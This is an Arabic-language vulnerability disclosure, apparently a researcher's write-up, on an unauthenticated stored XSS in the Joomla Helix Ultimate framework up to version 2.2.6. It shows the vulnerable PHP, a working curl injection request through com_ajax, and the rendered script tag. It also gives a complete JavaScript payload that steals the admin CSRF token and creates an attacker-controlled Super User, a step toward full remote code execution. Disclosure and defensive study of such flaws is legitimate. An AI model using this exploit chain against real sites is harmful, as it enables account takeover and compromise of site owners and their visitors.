
XSS مخزنة غير موثقة في Joomla Helix Ultimate (JoomShaper) <= 2.2.6
هذا هو أقوى اكتشاف في مجلد البحث هذا — حرج، مؤكد بالكامل من النهاية إلى النهاية. على عكس الثغرة التي تسمح بالحذف فقط في helix_ultimate_delete_poc.md، فهذه الثغرة تمتلك مسارًا حقيقيًا وعمليًا للوصول إلى اختراق كامل للموقع.
المكون: إطار Helix Ultimate من JoomShaper (plg_system_helixultimate + قالب shaper_helixultimate)
الإصدار المختبر: 2.2.6 (GitHub JoomShaper/helix-ultimate، HEAD 2026-07)
المؤلف: أمين إساييف / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() هو معالج حدث قياسي لملحق com_ajax في جوملا (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). مكون com_ajax الأساسي في جوملا لا يفرض أي مصادقة على الإطلاق — فهذه دائمًا مسؤولية الملحق. يقوم هذا المعالج بتوجيه استدعاءات لطرق ثابتة عشوائية:
public function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- استدعاء ثابت بدون وسائط عشوائي، مقيد بالنطاق
}
النطاق المكتوب بشكل ثابت (HelixUltimate\Framework\HttpResponse\)، لذا فإن هذا ليس أداة استغلال كاملة للتحكم في التنفيذ (RCE) بحد ذاتها — ولكن كل طريقة ثابتة عامة في src/HttpResponse/Response.php تصبح قابلة للاستدعاء من قبل أي شخص، دون مصادقة، ودون رمز CSRF. لا تستدعي أي منها Session::checkToken() أو authorise(). هذا نقطة دخول مختلفة تمامًا ومنفصلة عن فئة Request/Platform المقيدة بواجهة المدير التي تم تغطيتها في مقال الحذف — com_ajax تتجاوز تلك البوابة بالكامل.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // قيم يتحكم بها المهاجم، غير معقمة
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
هذا يكتب JSON يتحكم به المهاجم مباشرة في عمود params لعنصر قائمة حي وموجه للعموم في جوملا — لا حاجة لتسجيل الدخول، لا رمز CSRF، طلب HTTP واحد.
overrides/mod_menu/default.php (كود قالب حقيقي ومُوزّع)الملف html/mod_menu/default.php الفعلي للقالب المُوزّع shaper_helixultimate هو شيم من سطر واحد:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
والذي يُحل (تم التحقق منه بقراءة HTMLOverride.php) إلى plugins/system/helixultimate/overrides/mod_menu/default.php — الملف الذي يعرض قائمة التنقل الرئيسية للموقع على كل صفحة، لكل زائر:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- لا هروب
customclass — مفتاح نتحكم فيه بالكامل عبر saveMegaMenuSettings() — يُلحق مباشرة في خاصية HTML دون htmlspecialchars().
shaper_helixultimate حقيقي + الملحق 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
لم يتم إرسال أي حقل رمز CSRF على الإطلاق — ولا حتى الرمز التافه المُستخلص من الصفحة الرئيسية الذي كانت الثغرة الحذفية تحتاجه.
HTML الناتج الذي يُعرض لكل زائر لاحق للصفحة الرئيسية:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
وسم <script> حي قابل للتنفيذ في المتصفح، تم حقنه بدون مصادقة، ويُعرض على أكثر صفحة زيارة في الموقع (القائمة الرئيسية، موجودة في كل صفحة عبر موضع الوحدة، وليس فقط الصفحة الرئيسية).
هذا هو بالضبط السيناريو الذي كان مجلد CVE-2026-48909 يطارده، ولكن تم الوصول إليه من زاوية مختلفة تمامًا: XSS مخزنة غير موثقة + سرقة الجلسة = استيلاء على الحساب، دون الحاجة إلى سرقة كلمة مرور أو اختراق المثبّت.
أي مسؤول يفتح الصفحة الرئيسية للموقع العام في نفس المتصفح الذي سجّل (أو سجّل مؤخرًا) في /administrator سينفذ JavaScript للمهاجم مع مخبأ الكوكيز الخاص به سليمًا. الحمولة المفاهيمية (لم تنفذ ضد جلسة مدير حقيقية في هذا المختبر — هذا المختبر لا يحتوي على إعدادات أتمتة متصفح لمحاكاة مدير مسجل دخول يزور الصفحة؛ تسليم XSS نفسه مؤكد بنسبة 100% أعلاه، هذه هي الخطوة التالية المعروفة جيدًا):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = مستخدمون خارقون، معرف المجموعة الافتراضي في جوملا
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
نظرًا لأن المتصفح يرفق أي كوكيز جلسة يملكها لأصل الموقع مع أي طلب من نفس الأصل — بغض النظر عن أي علامة تبويب أو صفحة قامت بتشغيل JavaScript — فإن هذا ينجح طالما أن كوكيز جلسة الواجهة الخلفية للمسؤول صالحة في ذلك المتصفح في وقت عرض الصفحة الأمامية. هذا ينشئ حساب مستخدم خارق جديد ببيانات اعتماد يختارها المهاجم. ومن هناك: تسجيل الدخول إلى /administrator، تعديل أي ملف قالب (أو تثبيت واحد جديد) لإضافة شيل PHP → تحكم كامل في التنفيذ (RCE).
لماذا هذه أقوى من ثغرة الحذف: لا يوجد قيود على محتوى الكتابة هنا — هذه البدائية تكتب بيانات (JSON في عمود قاعدة بيانات)، وليس ملفات، ولكن تلك البيانات تُعرض كـ HTML حي في كل مشاهدة صفحة، وهو بالضبط بدائية "الكتابة" التي كانت مفقودة في ثغرة الحذف. بالإضافة إلى النمط القياسي لـ XSS → سرقة الجلسة، فإنه يغلق الحلقة التي لم تستطع ثغرة الحذف إغلاقها.
helix_ultimate_xss_detect.pyغير تخريبي إلى حد كبير: يكتب علامة سلسلة نصية غير ضارة وخاملة (بدون <script>، بدون علامات اقتباس) في customclass ويتحقق مما إذا كانت تعود غير مُهربة في HTML الصفحة الرئيسية المعروضة. يعيد/يمسح القيمة بعد ذلك.
helix_ultimate_xss_poc.pyيكتب حمولة <script> XSS حقيقية (الافتراضي: إثبات alert() غير ضار، أو حمولة مخصصة عبر --payload) في customclass لعنصر قائمة مختار، ويتحقق من عرضها بدون هروب، ويطبع الحمولة المفاهيمية للاستيلاء على الحساب/سرقة الجلسة أعلاه. استخدم فقط بإذن كتابي — هذا يعدل بيانات الموقع الحي (التخطيط المحفوظ لعنصر القائمة) حتى يتم تنظيفه يدويًا.